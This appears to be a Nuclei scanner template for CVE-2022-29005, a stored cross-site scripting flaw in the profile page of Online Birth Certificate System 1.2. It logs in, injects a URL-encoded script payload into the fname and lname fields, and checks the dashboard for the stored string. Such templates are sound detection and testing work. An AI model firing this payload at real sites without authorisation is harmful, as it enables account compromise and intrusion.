id: CVE-2022-29005 info: name: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting author: TenBird severity: medium description: | Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters. remediation: | To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. reference: - https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt - https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/ - https://nvd.nist.gov/vuln/detail/CVE-2022-29005 - http://online.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-29005 cwe-id: CWE-79 epss-score: 0.00126 epss-percentile: 0.4681 cpe: cpe:2.3:a:online_birth_certificate_system_project:online_birth_certificate_system:1.2:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: online_birth_certificate_system_project product: online_birth_certificate_system tags: cve,cve2022,xss,obcs,authenticated variables: str: "{{rand_base(6)}}" http: - raw: - | POST /obcs/user/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 mobno={{username}}&password={{password}}&login= - | POST /obcs/user/profile.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 fname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit= - | GET /obcs/user/dashboard.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains(header_3, "text/html")' - 'status_code_3 == 200' - contains(body_3, 'admin-name\">{{str}}') condition: and # digest: 4b0a00483046022100f497f5a5e8047fcf20f1feeade1ab581083962e3955f5891bddfcc3a8c83bddb02210095a1326c62972c96228c27c97ded4163c226a25e38cfc6922358af97e4b7b433:922c64590222798bb761d5b6d8e72950